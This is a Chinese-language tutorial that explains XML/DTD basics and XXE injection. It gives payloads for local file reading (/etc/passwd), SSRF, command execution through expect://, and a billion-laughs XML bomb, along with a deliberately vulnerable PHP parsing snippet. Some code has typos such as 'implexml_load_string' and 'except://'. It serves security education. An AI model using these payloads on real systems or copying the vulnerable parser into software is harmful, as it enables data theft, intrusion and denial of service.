Web安全基础篇——XXE外部实体注入

XXE

XXE 是XML External Entity(XML外部实体注入)的英文缩写,是一种发生于XML解析时的漏洞,由于解析引擎并未对XML外部实体进行限制,导致攻击者可以通过注入恶意代码到XML中,致使服务器加载恶意的外部实体导致未授权的数据访问、服务拒绝攻击甚至执行远程代码等有危害的操作。XXE漏洞的危害主要有两个:文件读取、SSRF,在PHP环境且开启PECL上的Expect扩展可导致命令执行,故命令执行条件较为苛刻。

基础知识

XML

XML是一种类似于HTML (超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML 文档结构包括XML声明、DTD 文档类型定义(可选)、文档元素。

XML语法规则

  • 所有XMI元素必须有一个闭合标签
  • XMI必须正确嵌套
  • XML属性值必须加引号
  • 实体引用
  • 在XMI中,空格会被保留
  • XMI标签对大小写敏感

DTD

DTD是文档类型定义的缩写,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。DTD是一种用来定义XML文档结构的文本文件,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。DTD可以帮助浏览器或其他应用程序更好地解析和处理XML文档。

内部实体声明

内部的DOCTYPE声明的优点是可以使XML文档更具可移植性,因为不依赖于外部文件。但是内部的DOCTYPE声明会使XML文档变得较大,并且如果DTD定义很复杂,可能会使XML文档变得难以阅读和维护。

假如DTD被声明在XML源文件中,它应当通过下面的语法包装在一个DOCTYPE声明中:

1
<!DOCTYPE 根元素 [元素声明]>

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" ?> <!-- xml文件的声明,版本8编码-->
<IDOCTYPE note [ <!-- 定义文档根元素为note -->
<!ELEMENT note (to, from, heading, body)><!--定义note元素有四个子元素:"to,from,heading,body"-->
<!ELEMENT to (#PCDATA)><!--定义to元素为#PCDATA"类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为"#PCDATA"类型-->
<!ELEMENT heading (#PCDATA)><!--定义heading元素为”#PCDATA"类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为"#PCDATA"类型-->
]>
<note>
<to>Tove</to><!--子元素,to-->
<from>Jani</from><!--子元素,from-->
<heading>Reminder</heading><!--子元素,heading-->
<body>Dont forget me this weekend!</body><!--子元素,body-->
</note><!-- 根元素闭合-->

外部实体声明

外部DOCTYPE声明的优点是使XML文档更易于阅读和维护,因为DTD定义保存在单独的文件中,而不是嵌入在XML文档中。此外,外部的DOCTYP声明使得可以为多个XML文档使用相同的DTD定义。但是,外部的DOCTYPE声明的缺点是它依赖于外部文件,如果DTD文件丢失或损坏,XML 文档可能无法正确解析和处理。

当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”。

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

ELEMENT是关键字,是不能修改的

NAME表示元素名称

CONTENT是元素类型,必须要大写。CONTENT的内容有三种写法:

(1)EMPTY表示该元素不能包含子元素和文本,但可以有属性。
(2)ANY表示该元素 可以包含任何在该DTD中定义的元素内容。
(3)#PCDATA可以包含任何字符数据, 但是不能在其中包含任何子元素。

PCDATA
PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会
被展开。被解析的字符数据不应当包含任何&<或者>字符,需要用&amp&lt&gt实体来分别替换。

CDATA
CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

漏洞利用

XXE 和 SQL注入 的攻击方法也有一点相似,也分有回显和没有回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为 blind xxe(类似于布尔盲注、时间盲注),可以使用外带数据(OOB)通道提取数据。

读取文件

当应用对过用户上传的XML文件或POST请求进行数据进行XML解析,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就存在XXE漏洞。

有回显的测试代码:

1
2
3
4
<?php
$xml=implexml_load_string($_GET['xml']);
print_r((string)$xml);//有回显
?>

simple_load_string解析接收过来的XML代码。

payload1

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini">]>
<creds>&goodies;</creds>

payload2

1
<!ENTITY xxe SYSTEM "file:///etc/passwd" >

如果是无回显的文件读取,可以通过 blind XXE 方法加上外带数据通道(ooB)来提取数据。

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器来读取数据。虽然无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

SSRF

可以通过XXE进行SSRF攻击。

payload

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE ANY [
<!ENTITY ssrf SYSTEM "http://ip:port">
%ssrf;
]>

命令执行

在php环境下,xml命令执行需要php装有expect扩展,但该扩展默认没有安装,所以一般来说命令执行是比较难利用,但不排除。搬运师傅们的代码以供参考。

1
2
3
4
5
6
7
8
9
10
11
<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

payload

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://ifconfig">
]>
<root><name>&xxe;</name></root>

Dos攻击

常见的XML炸弹:当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

​ 这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。